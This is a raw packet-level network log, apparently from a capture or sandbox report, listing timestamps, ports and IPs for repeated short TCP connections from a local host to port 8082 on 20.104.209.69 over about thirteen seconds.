Jan 8, 2023 16:07:36.969413042 CET	49787	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:37.083892107 CET	8082	49787	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:37.084093094 CET	49787	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:37.114583015 CET	49787	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:37.229105949 CET	8082	49787	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:37.233314037 CET	8082	49787	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:37.233366966 CET	8082	49787	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:37.233458996 CET	49787	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:37.233500957 CET	49787	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:37.233648062 CET	8082	49787	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:37.233706951 CET	49787	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:37.243077040 CET	49787	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:37.357115030 CET	8082	49787	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:37.390140057 CET	49788	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:37.504518986 CET	8082	49788	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:37.504729033 CET	49788	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:37.505846024 CET	49788	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:37.619870901 CET	8082	49788	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:37.623992920 CET	8082	49788	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:37.624044895 CET	8082	49788	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:37.624141932 CET	8082	49788	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:37.624185085 CET	49788	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:37.624221087 CET	49788	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:37.634322882 CET	49788	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:37.748375893 CET	8082	49788	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:37.790103912 CET	49789	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:37.904290915 CET	8082	49789	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:37.904450893 CET	49789	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:37.905090094 CET	49789	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:38.022187948 CET	8082	49789	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:38.023699045 CET	8082	49789	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:38.023724079 CET	8082	49789	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:38.023739100 CET	8082	49789	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:38.023880959 CET	49789	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:38.023926020 CET	49789	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:38.033080101 CET	49789	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:38.147294044 CET	8082	49789	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:38.161334038 CET	49790	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:38.275422096 CET	8082	49790	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:38.275608063 CET	49790	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:38.280620098 CET	49790	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:38.398044109 CET	8082	49790	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:38.402664900 CET	8082	49790	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:38.402704954 CET	8082	49790	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:38.402724028 CET	8082	49790	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:38.402821064 CET	49790	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:38.422230959 CET	49790	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:38.544819117 CET	8082	49790	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:38.551131010 CET	49791	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:38.676471949 CET	8082	49791	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:38.676704884 CET	49791	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:38.677210093 CET	49791	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:38.798166990 CET	8082	49791	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:38.798675060 CET	8082	49791	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:38.798712015 CET	8082	49791	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:38.798758030 CET	8082	49791	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:38.798855066 CET	49791	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:38.798944950 CET	49791	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:38.813524008 CET	49791	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:38.935211897 CET	8082	49791	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:38.951548100 CET	49793	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.068737030 CET	8082	49793	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:39.068867922 CET	49793	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.069355965 CET	49793	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.183336020 CET	8082	49793	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:39.189188957 CET	8082	49793	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:39.189337969 CET	49793	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.189402103 CET	8082	49793	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:39.189420938 CET	8082	49793	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:39.189449072 CET	49793	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.189501047 CET	49793	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.197375059 CET	49793	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.323621988 CET	8082	49793	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:39.335206032 CET	49794	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.459698915 CET	8082	49794	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:39.459882021 CET	49794	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.460477114 CET	49794	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.574903011 CET	8082	49794	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:39.579773903 CET	8082	49794	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:39.579814911 CET	8082	49794	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:39.579832077 CET	8082	49794	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:39.579924107 CET	49794	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.579988956 CET	49794	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.588361979 CET	49794	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.704221964 CET	8082	49794	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:39.722729921 CET	49795	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.837730885 CET	8082	49795	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:39.838336945 CET	49795	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.839122057 CET	49795	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.953629971 CET	8082	49795	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:39.958802938 CET	8082	49795	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:39.958834887 CET	8082	49795	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:39.958852053 CET	8082	49795	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:39.958981037 CET	49795	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.958981037 CET	49795	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:39.971849918 CET	49795	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:40.086858988 CET	8082	49795	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:40.098321915 CET	49796	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:40.213690996 CET	8082	49796	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:40.213809013 CET	49796	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:40.216979980 CET	49796	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:40.334913015 CET	8082	49796	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:40.336195946 CET	8082	49796	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:40.336229086 CET	8082	49796	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:40.336304903 CET	49796	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:40.336375952 CET	49796	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:40.336414099 CET	8082	49796	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:40.336472988 CET	49796	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:40.353652954 CET	49796	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:40.468794107 CET	8082	49796	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:40.488051891 CET	49797	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:40.604665995 CET	8082	49797	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:40.604852915 CET	49797	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:40.605376959 CET	49797	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:40.721049070 CET	8082	49797	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:40.724967003 CET	8082	49797	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:40.725052118 CET	49797	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:40.725071907 CET	8082	49797	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:40.725150108 CET	49797	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:40.725228071 CET	8082	49797	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:40.725343943 CET	49797	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:40.733933926 CET	49797	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:40.848388910 CET	8082	49797	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:40.864550114 CET	49798	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:40.979382038 CET	8082	49798	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:40.979645967 CET	49798	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:40.980412960 CET	49798	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:41.094603062 CET	8082	49798	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:41.097732067 CET	8082	49798	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:41.097759008 CET	8082	49798	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:41.097867012 CET	49798	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:41.097901106 CET	49798	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:41.098068953 CET	8082	49798	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:41.098119020 CET	49798	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:41.108223915 CET	49798	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:41.223748922 CET	8082	49798	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:41.242755890 CET	49799	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:41.357350111 CET	8082	49799	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:41.358553886 CET	49799	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:41.362744093 CET	49799	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:41.476902962 CET	8082	49799	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:41.481235981 CET	8082	49799	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:41.481379032 CET	8082	49799	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:41.481431007 CET	8082	49799	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:41.481481075 CET	49799	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:41.481527090 CET	49799	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:41.481741905 CET	49799	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:41.490717888 CET	49799	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:41.605088949 CET	8082	49799	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:41.640475035 CET	49800	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:41.758615017 CET	8082	49800	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:41.762713909 CET	49800	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:41.763915062 CET	49800	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:41.878535032 CET	8082	49800	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:41.882083893 CET	8082	49800	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:41.882117033 CET	8082	49800	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:41.882136106 CET	8082	49800	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:41.882332087 CET	49800	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:41.890793085 CET	49800	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:42.004909039 CET	8082	49800	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:42.040112972 CET	49801	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:42.155026913 CET	8082	49801	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:42.155216932 CET	49801	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:42.155714035 CET	49801	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:42.270514965 CET	8082	49801	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:42.274116039 CET	8082	49801	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:42.274167061 CET	8082	49801	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:42.274224043 CET	49801	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:42.274235964 CET	8082	49801	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:42.274298906 CET	49801	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:42.274298906 CET	49801	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:42.285657883 CET	49801	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:42.401984930 CET	8082	49801	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:42.410859108 CET	49802	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:42.530061007 CET	8082	49802	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:42.530291080 CET	49802	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:42.531378031 CET	49802	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:42.646259069 CET	8082	49802	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:42.651014090 CET	8082	49802	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:42.651073933 CET	8082	49802	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:42.651115894 CET	8082	49802	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:42.651179075 CET	49802	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:42.651226997 CET	49802	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:42.665560007 CET	49802	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:42.779789925 CET	8082	49802	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:42.801882982 CET	49803	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:42.916353941 CET	8082	49803	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:42.916568995 CET	49803	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:42.917782068 CET	49803	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.031699896 CET	8082	49803	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:43.036145926 CET	8082	49803	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:43.036173105 CET	8082	49803	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:43.036309004 CET	49803	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.036520004 CET	8082	49803	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:43.036583900 CET	49803	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.045348883 CET	49803	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.159522057 CET	8082	49803	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:43.177654982 CET	49804	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.291884899 CET	8082	49804	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:43.292093039 CET	49804	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.293674946 CET	49804	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.408047915 CET	8082	49804	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:43.412336111 CET	8082	49804	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:43.412405014 CET	8082	49804	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:43.412432909 CET	49804	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.412444115 CET	8082	49804	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:43.412502050 CET	49804	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.412714005 CET	49804	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.430224895 CET	49804	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.544857979 CET	8082	49804	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:43.564030886 CET	49805	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.679100037 CET	8082	49805	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:43.679263115 CET	49805	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.679697990 CET	49805	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.793586016 CET	8082	49805	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:43.798173904 CET	8082	49805	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:43.798206091 CET	8082	49805	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:43.798222065 CET	8082	49805	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:43.798274994 CET	49805	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.798329115 CET	49805	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.799052000 CET	49805	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.809020042 CET	49805	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:43.923295975 CET	8082	49805	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:43.948817015 CET	49806	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:44.063077927 CET	8082	49806	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:44.063273907 CET	49806	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:44.063766956 CET	49806	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:44.177814960 CET	8082	49806	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:44.182111025 CET	8082	49806	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:44.182152033 CET	8082	49806	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:44.182229996 CET	8082	49806	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:44.182357073 CET	49806	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:44.198683977 CET	49806	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:44.313209057 CET	8082	49806	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:44.332654953 CET	49807	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:44.447267056 CET	8082	49807	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:44.448630095 CET	49807	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:44.449052095 CET	49807	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:44.562944889 CET	8082	49807	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:44.567636967 CET	8082	49807	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:44.567692995 CET	8082	49807	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:44.567754030 CET	8082	49807	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:44.567815065 CET	49807	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:44.567815065 CET	49807	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:44.567815065 CET	49807	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:44.577517986 CET	49807	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:44.691560984 CET	8082	49807	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:44.715904951 CET	49808	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:44.830188036 CET	8082	49808	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:44.830468893 CET	49808	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:44.831845045 CET	49808	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:44.945774078 CET	8082	49808	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:44.950304031 CET	8082	49808	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:44.950349092 CET	8082	49808	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:44.950484991 CET	49808	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:44.950643063 CET	8082	49808	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:44.950819016 CET	49808	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:44.977665901 CET	49808	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:45.091865063 CET	8082	49808	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:45.368792057 CET	49809	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:45.483788013 CET	8082	49809	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:45.484003067 CET	49809	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:45.484533072 CET	49809	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:45.598464966 CET	8082	49809	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:45.604275942 CET	8082	49809	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:45.604320049 CET	8082	49809	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:45.604340076 CET	8082	49809	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:45.604515076 CET	49809	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:45.604515076 CET	49809	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:45.650093079 CET	49809	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:45.764065027 CET	8082	49809	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:45.889883995 CET	49810	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:46.004059076 CET	8082	49810	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:46.004172087 CET	49810	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:46.009035110 CET	49810	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:46.123085022 CET	8082	49810	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:46.126841068 CET	8082	49810	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:46.126995087 CET	49810	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:46.129882097 CET	8082	49810	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:46.129936934 CET	8082	49810	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:46.130002975 CET	49810	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:46.130050898 CET	49810	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:46.138993025 CET	49810	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:46.253074884 CET	8082	49810	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:46.937669992 CET	49811	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:47.051815033 CET	8082	49811	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:47.051924944 CET	49811	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:47.065860033 CET	49811	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:47.180316925 CET	8082	49811	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:47.184912920 CET	8082	49811	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:47.184957981 CET	8082	49811	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:47.185040951 CET	49811	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:47.185106993 CET	49811	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:47.185143948 CET	8082	49811	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:47.185197115 CET	49811	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:47.256406069 CET	49811	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:47.370539904 CET	8082	49811	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:48.483537912 CET	49812	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:48.598006010 CET	8082	49812	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:48.598213911 CET	49812	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:48.612586975 CET	49812	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:48.726896048 CET	8082	49812	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:48.731122971 CET	8082	49812	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:48.731158018 CET	8082	49812	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:48.731312990 CET	49812	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:48.731578112 CET	8082	49812	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:48.731677055 CET	49812	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:48.769017935 CET	49812	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:48.883280039 CET	8082	49812	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:48.896697044 CET	49813	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.011507034 CET	8082	49813	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:49.011620045 CET	49813	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.012095928 CET	49813	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.126518965 CET	8082	49813	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:49.129647970 CET	8082	49813	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:49.129683018 CET	8082	49813	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:49.129698992 CET	8082	49813	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:49.129749060 CET	49813	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.129801989 CET	49813	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.141046047 CET	49813	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.255291939 CET	8082	49813	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:49.272581100 CET	49814	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.387347937 CET	8082	49814	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:49.387504101 CET	49814	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.388458967 CET	49814	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.502623081 CET	8082	49814	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:49.507355928 CET	8082	49814	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:49.507442951 CET	8082	49814	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:49.507479906 CET	49814	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.507499933 CET	8082	49814	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:49.507534981 CET	49814	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.507580996 CET	49814	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:49.530169010 CET	49814	8082	192.168.2.6	20.104.209.69
